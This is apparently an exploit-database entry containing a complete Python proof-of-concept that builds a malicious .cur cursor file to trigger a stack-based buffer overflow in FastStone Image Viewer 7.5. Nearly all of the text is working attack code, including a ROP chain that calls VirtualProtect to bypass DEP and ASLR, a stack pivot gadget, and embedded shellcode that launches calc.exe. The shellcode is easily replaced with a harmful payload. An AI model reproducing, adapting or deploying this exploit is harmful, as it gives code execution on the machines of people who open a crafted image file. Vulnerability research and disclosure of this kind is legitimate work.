Share
## https://sploitus.com/exploit?id=PACKETSTORM:161845
# Exploit title: FastStone Image Viewer 7.5 - .cur BITMAPINFOHEADER 'BitCount' Stack Based Buffer Overflow (ASLR & DEP Bypass)  
# Exploit Author: Paolo Stagno  
# Date: 15/03/2020  
# Vendor Homepage: https://www.faststone.org/  
# Download: https://www.faststonesoft.net/DN/FSViewerSetup75.exe  
# https://github.com/VoidSec/Exploit-Development/tree/master/windows/x86/local/FastStone_Image_Viewer_v.7.5/  
# Version: 7.5  
# Tested on: Windows 10 Pro x64 v.1909 Build 18363.1256  
# Category: local exploit  
# Platform: windows  
  
# Module info :  
#----------------------------------------------------------------------------------------------------------------------  
#Base | Top | Size | Rebase | SafeSEH | ASLR | NXCompat | OS Dll | Version, Modulename & Path  
#----------------------------------------------------------------------------------------------------------------------  
#0x00400000 | 0x00abf000 | 0x006bf000 | False | False | False | False | False | 7.5.0.0 [FSViewer.exe] (C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe)  
#0x6ad80000 | 0x6adfe000 | 0x0007e000 | False | False | False | False | False | -1.0- [fsplugin05.dll] (C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll)  
#0x6afb0000 | 0x6b011000 | 0x00061000 | True | True | False | False | False | -1.0- [fsplugin06.dll] (C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll)  
#----------------------------------------------------------------------------------------------------------------------  
  
#!/usr/bin/python  
import struct, sys  
print("\n[>] FastStone Image Viewer v. <= 7.5 Exploit by VoidSec\n")  
  
filename="FSViewer_v.7.5_exploit.cur"  
  
###################################################################################  
# Shellcode  
# MAX Shellcode size: 556  
# ImageData - ROP NOP - Rop Chain - Stack Adjustment = 776 - 144 - 68 - 8 = 556  
# Custom calc.exe shellcode  
# size: 112  
###################################################################################  
  
shellcode=(  
"\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"  
"\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"  
"\x77\x20\x8b\x3f\x80\x7e\x0c\x33"  
"\x75\xf2\x89\xc7\x03\x78\x3c\x8b"  
"\x57\x78\x01\xc2\x8b\x7a\x20\x01"  
"\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"  
"\x45\x81\x3e\x43\x72\x65\x61\x75"  
"\xf2\x81\x7e\x08\x6f\x63\x65\x73"  
"\x75\xe9\x8b\x7a\x24\x01\xc7\x66"  
"\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"  
"\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"  
"\xb1\xff\x53\xe2\xfd\x68\x63\x61"  
"\x6c\x63\x89\xe2\x52\x52\x53\x53"  
"\x53\x53\x53\x53\x52\x53\xff\xd7"  
)  
  
  
if (len(shellcode)>556):  
sys.exit("Shellcode's size must be <= 556 bytes")  
  
###################################################################################  
# Cur File Format  
# ---------------------------------------------------------------------------------  
# | Reserved | Type | Image Count |  
# | 00 00 | 02 00 | 02 00 | <- CUR file will contains two images  
# Entries:  
# | Width | Height | ColorCount | Reserved | XHotSpot | YHotSpot | SizeInBytes | File Offset |  
# | 30 | 30 | 00 | 00 | 01 00 | 02 00 | 30 03 00 00 | 26 00 00 00 | <- we'll corrupt the first image with rop chain & shellcode   
# | 20 | 20 | 00 | 00 | 02 00 | 04 00 | E8 02 00 00 | 56 03 00 00 | <- while leaving the 2nd one "untouched" a part from the stack pivot (should leave the cursor preview intact)  
# 1st Image Info Header:  
# | Size | Width | Height | Planes | BitCount | Compression | ImageSize | XpixelsPerM | YpixelsPerM | Colors Used | ColorsImportant |  
# | 28 00 00 00 | 30 00 00 00 | 60 00 00 00 | 01 00 | 89 30 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00 |  
# 1st ImageData(BLOB)  
# 2nd Image Info Header:  
# 2nd ImageData(BLOB)  
# ---------------------------------------------------------------------------------  
# BitCount will be used to read # number of bytes into a buffer triggering the buffer overflow  
# its value can be modified but we need to account for two operations happening into the software.  
# - SHL 1, 89 = 0x200  
# - SHL 200, 2 = 0x800 (2048d) number of bytes to be read from the file  
# we'll have to pad the image data to match it's size in bytes defined in the header SizeInBytes  
# ImageData = SizeInBytes - ImageInfoHeader Size (330h-28h=308h 776d)  
###################################################################################  
  
image_data_pad = 776  
  
def create_rop_nop():  
rop_gadgets = [  
0x6adc5ab6, # 0x6adc5ab6 (RVA : 0x00045ab6) : # DEC ECX # RETN ** [fsplugin05.dll] ** | {PAGE_EXECUTE_READ}  
]  
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)  
  
def create_rop_chain():  
rop_gadgets = [  
#[---INFO:gadgets_to_set_esi:---]  
0x00405bd4, # POP EAX ; RETN [FSViewer.exe]   
0x6adf4160, # ptr to &VirtualProtect() [IAT fsplugin05.dll]  
0x008b3977, # MOV EAX,DWORD PTR DS:[EAX] ; RETN [FSViewer.exe]   
0x0083f67a, # XCHG EAX,ESI ; RETN [FSViewer.exe]   
#[---INFO:gadgets_to_set_ebp:---]  
0x005b35b8, # POP EBP ; RETN [FSViewer.exe]   
0x00454521, # & jmp esp [FSViewer.exe]  
#[---INFO:gadgets_to_set_ebx:---]  
0x00630472, # POP EBX ; RETN [FSViewer.exe]   
0x00000201, # 0x00000201-> ebx  
#[---INFO:gadgets_to_set_edx:---]  
0x004798db, # POP EDX ; RETN [FSViewer.exe]   
0x00000040, # 0x00000040-> edx  
#[---INFO:gadgets_to_set_ecx:---]  
0x004c7832, # POP ECX ; RETN [FSViewer.exe]   
0x00991445, # &Writable location [FSViewer.exe]  
#[---INFO:gadgets_to_set_edi:---]  
0x0040c3a8, # POP EDI ; RETN [FSViewer.exe]   
0x0057660b, # RETN (ROP NOP) [FSViewer.exe]  
#[---INFO:gadgets_to_set_eax:---]  
0x00404243, # POP EAX ; RETN [FSViewer.exe]   
0x90909090, # nop  
#[---INFO:pushad:---]  
0x6adc21bf, # PUSHAD # RETN [fsplugin05.dll]   
]  
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)  
  
# Cur image = 1597 bytes  
###################################################################################  
cur_Signature = "\x00\x00\x02\x00\x02\x00" # | Reserved | Type | Image Count |  
cur_Entries = (  
"\x30\x30\x00\x00\x01\x00\x02\x00\x30\x03\x00\x00\x26\x00\x00\x00" # 1st Entry  
"\x20\x20\x00\x00\x02\x00\x04\x00\xE8\x02\x00\x00\x56\x03\x00\x00" # 2nd Entry  
)  
# 1st Image Info Header  
cur_1InfoHeader = "\x28\x00\x00\x00\x30\x00\x00\x00\x60\x00\x00\x00\x01\x00\x89\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
# 1st ImageData  
# cur_1ImageData_orig = "\x00\x00\x00\x00\xFF\xFF\xFF\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\xC0\x00\x00\x00\x00\x00\x00\x08\x20\x00\x00\x00\x00\x00\x00\x08\x20\x00\x00\x00\x00\x00\x00\x10\x40\x00\x00\x00\x00\x00\x00\x10\x40\x00\x00\x00\x00\x00\x00\x20\x80\x00\x00\x00\x00\x00\x00\x20\x80\x00\x00\x00\x00\x00\x80\x41\x00\x1F\x80\x00\x00\x00\xC0\x41\x00\x3F\xC0\x00\x00\x00\xA0\x82\x00\x3F\xC0\x00\x00\x00\x90\x82\x00\x1F\x80\x00\x00\x00\x89\x04\x00\x00\x00\x00\x00\x00\x85\x04\x00\x1F\x80\x00\x00\x00\x82\x08\x00\x1F\x80\x00\x00\x00\x80\x0F\xFE\x1F\x80\x00\x00\x00\x80\x00\x04\x1F\x80\x00\x00\x00\x80\x00\x08\x0F\x80\x00\x00\x00\x80\x00\x10\x07\xC0\x00\x00\x00\x80\x00\x20\x03\xE0\x00\x00\x00\x80\x00\x47\xC1\xF0\x00\x00\x00\x80\x00\x87\xC1\xF8\x00\x00\x00\x80\x01\x07\xC1\xFC\x00\x00\x00\x80\x02\x07\xC1\xFC\x00\x00\x00\x80\x04\x07\xC1\xFC\x00\x00\x00\x80\x08\x07\xC1\xFC\x00\x00\x00\x80\x10\x07\xE3\xFC\x00\x00\x00\x80\x20\x03\xFF\xF8\x00\x00\x00\x80\x40\x01\xFF\xF0\x00\x00\x00\x80\x80\x00\xFF\xE0\x00\x00\x00\x81\x00\x00\x00\x00\x00\x00\x00\x82\x00\x00\x00\x00\x00\x00\x00\x84\x00\x00\x00\x00\x00\x00\x00\x88\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x00\x00\x00\x00\xA0\x00\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xF8\x3F\xFF\xFF\xFF\x00\x00\xFF\xF0\x1F\xFF\xFF\xFF\x00\x00\xFF\xF0\x1F\xFF\xFF\xFF\x00\x00\xFF\xE0\x3F\xFF\xFF\xFF\x00\x00\xFF\xE0\x3F\xFF\xFF\xFF\x00\x00\xFF\xC0\x7F\xFF\xFF\xFF\x00\x00\xFF\xC0\x7F\xE0\x7F\xFF\x00\x00\x7F\x80\xFF\xC0\x3F\xFF\x00\x00\x3F\x80\xFF\x80\x1F\xFF\x00\x00\x1F\x01\xFF\x80\x1F\xFF\x00\x00\x0F\x01\xFF\xC0\x3F\xFF\x00\x00\x06\x03\xFF\xE0\x7F\xFF\x00\x00\x02\x03\xFF\xC0\x3F\xFF\x00\x00\x00\x07\xFF\xC0\x3F\xFF\x00\x00\x00\x00\x01\xC0\x3F\xFF\x00\x00\x00\x00\x03\xC0\x3F\xFF\x00\x00\x00\x00\x07\xE0\x3F\xFF\x00\x00\x00\x00\x0F\xF0\x1F\xFF\x00\x00\x00\x00\x10\x18\x0F\xFF\x00\x00\x00\x00\x30\x1C\x07\xFF\x00\x00\x00\x00\x70\x1C\x03\xFF\x00\x00\x00\x00\xF0\x1C\x01\xFF\x00\x00\x00\x01\xF0\x1C\x01\xFF\x00\x00\x00\x03\xF0\x1C\x01\xFF\x00\x00\x00\x07\xF0\x1C\x01\xFF\x00\x00\x00\x0F\xF0\x00\x01\xFF\x00\x00\x00\x1F\xF8\x00\x03\xFF\x00\x00\x00\x3F\xFC\x00\x07\xFF\x00\x00\x00\x7F\xFE\x00\x0F\xFF\x00\x00\x00\xFF\xFF\x00\x1F\xFF\x00\x00\x01\xFF\xFF\xFF\xFF\xFF\x00\x00\x03\xFF\xFF\xFF\xFF\xFF\x00\x00\x07\xFF\xFF\xFF\xFF\xFF\x00\x00\x0F\xFF\xFF\xFF\xFF\xFF\x00\x00\x1F\xFF\xFF\xFF\xFF\xFF\x00\x00\x3F\xFF\xFF\xFF\xFF\xFF\x00\x00\x7F\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00"  
print("Generating 1st ImageData BLOB:")  
cur_1ImageData = ""  
cur_1ImageData += create_rop_nop() * ( (1560 - 1416 ) / 4 ) # 1560 stack pivot - 1416 where our cyclic pattern has been found  
print("- ROP NOP:\t\t{}".format(len(cur_1ImageData)))  
cur_1ImageData += create_rop_chain()  
print("- ROP Chain:\t\t{}".format(len(create_rop_chain())))  
cur_1ImageData += "\x81\xC4\x44\xFD\xFF\xFF\x90\x90" # stack adjustment for meterpreter GetPC routine: add esp, -700  
print("- Stack Adjustment:\t8")  
cur_1ImageData += shellcode  
print("- Shellcode:\t\t{}".format(len(shellcode)))  
cur_1ImageData += "A" * (image_data_pad - len(cur_1ImageData))  
# 2nd Image Info Header  
cur_2InfoHeader = "\x28\x00\x00\x00\x20\x00\x00\x00\x40\x00\x00\x00\x01\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
# 2nd ImageData (if this does not trigger the stack pivot it should be changed removing the beginning \x00 byte of cur_2ImageData2 and adding it back at the end of cur_2ImageData section)  
cur_2ImageData = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x80\x80\x00\x80\x00\x00\x00\x80\x00\x80\x00\x80\x80\x00\x00\xC0\xC0\xC0\x00\x80\x80\x80\x00\x00\x00\xFF\x00\x00\xFF\x00\x00\x00\xFF\xFF\x00\xFF\x00\x00\x00\xFF\x00\xFF\x00\xFF\xFF\x00\x00\xFF\xFF\xFF\x00\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x1F\xFF\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\xF0\x00\xF1\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\xF0\x00\xF1\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x1F\x00\x0F\x11\x11\x11\x10\x00\x11\x11\x11\x11\x11\x11\x11\x11\x1F\x00\x0F\x11\x11\x11\x0F\xFF\x01\x11\x11\x11\x11\xF1\x11\x11\xF0\x00\xF1\x11\x11\x10\xFF\xFF\xF0\x11\x11\x11\x11\xFF\x11\x11\xF0\x00\xF1\x11\x11\x11\x0F\xFF\x01\x11\x11\x11\x11\xF0\xF1\x1F\x00\x0F\x11\x11\x11\x11\x10\x00\x11\x11\x11\x11\x11\xF0\x0F\x1F\x00\x0F\x11\x11\x11\x11\x0F\xFF\x01\x11\x11\x11\x11\xF0\x00\xF0\x00\xF1\x11\x11\x11\x11\x0F\xFF\x01\x11\x11\x11\x11\xF0\x00\x00\x00\xFF\xFF\xFF\xF1\x11\x0F\xFF\x01\x11\x11\x11\x11\xF0\x00\x00\x00\x00\x00\x0F\x11\x11\x10\xFF\xF0\x11\x11\x11\x11\xF0\x00\x00\x00\x00\x00\xF1\x00\x00\x01\x0F\xFF\x01\x11\x11\x11\xF0\x00\x00\x00\x00\x0F\x11\x0F\xFF\x01\x10\xFF\xF0\x11\x11\x11\xF0\x00\x00\x00\x00\xF1\x11\x0F\xFF\x01\x10\xFF\xFF\x01\x11\x11\xF0\x00\x00\x00\x0F\x11\x11\x0F\xFF\x01\x10\xFF\xFF\x01\x11\x11\xF0\x00\x00\x00\xF1\x11\x11\x0F\xFF\x01\x10\xFF\xFF\x01\x11\x11\xF0\x00\x00"  
# SEH record overwrite goes here  
cur_2ImageData2 = "\x00\xFF\xF0\x0F\xFF\xF0\x11\x11\x11\xF0\x00\x00\xF1\x11\x11\x11\x11\x0F\xFF\xFF\xFF\x01\x11\x11\x11\xF0\x00\x0F\x11\x11\x11\x11\x11\x10\x00\x00\x00\x11\x11\x11\x11\xF0\x00\xF1\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\xF0\x0F\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\xF0\xF1\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\xFF\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\xF1\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xE3\xFF\xFF\xFF\xC1\xFF\xFF\xFF\xC1\xFF\xFF\xFF\x83\xF8\xFF\xFF\x83\xF0\x7F\xDF\x07\xE0\x3F\xCF\x07\xF0\x7F\xC6\x0F\xF8\xFF\xC2\x0F\xF0\x7F\xC0\x1F\xF0\x7F\xC0\x00\x70\x7F\xC0\x00\xF8\x3F\xC0\x01\x04\x1F\xC0\x03\x06\x0F\xC0\x07\x06\x07\xC0\x0F\x06\x07\xC0\x1F\x06\x07\xC0\x3F\x80\x0F\xC0\x7F\xC0\x1F\xC0\xFF\xE0\x3F\xC1\xFF\xFF\xFF\xC3\xFF\xFF\xFF\xC7\xFF\xFF\xFF\xCF\xFF\xFF\xFF\xDF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"  
###################################################################################  
  
buf = ""  
buf += cur_Signature  
buf += cur_Entries  
buf += cur_1InfoHeader  
buf += cur_1ImageData  
buf += cur_2InfoHeader  
buf += cur_2ImageData  
# buf += struct.pack('<I',0x004023da) # SEH pop ecx ; pop ebp ; ret | startnull {PAGE_EXECUTE_READ} [FSViewer.exe]  
# 0x0019dc10 : Pointer into normal cyclic pattern at ESP+0x588 (+1416) : 0x0019dc48 : offset 1, length 775  
buf += struct.pack('<I',0x6adad2ff) # stack pivot 1560 / 0x618 : ADD ESP,608 ; POP EBX ; POP ESI ; POP EDI ; POP EBP ; RETN ** [fsplugin05.dll] ** | {PAGE_EXECUTE_READ}  
buf += cur_2ImageData2  
  
#buf += "B" * (buf_max_size - len(buf))  
print("\nWriting CUR File:")  
print("--------------------------------------------------------")  
print("- Signature + ImageCount:\t{}".format(len(cur_Signature)))  
print("- Entries 2/2:\t\t\t{}".format(len(cur_Entries)))  
print("- 1st InfoHeader:\t\t{}".format(len(cur_1InfoHeader)))  
print("- 1st ImageData:\t\t{}".format(len(cur_1ImageData)))  
print("- 2nd InfoHeader:\t\t{}".format(len(cur_2InfoHeader)))  
print(" 2nd ImageData 1/2:\t{}".format(len(cur_2ImageData)))  
print(" SEH:\t\t\t4")  
print(" 2nd ImageData 2/2:\t{}".format(len(cur_2ImageData2)))  
print("- 2nd ImageData TOT:\t\t{}".format(len(cur_2ImageData)+4+len(cur_2ImageData2)))  
print("--------------------------------------------------------")  
print("[+] Writing total {} bytes on {}".format(len(buf), filename))  
file = open(filename, "w");  
file.write(buf);  
file.close();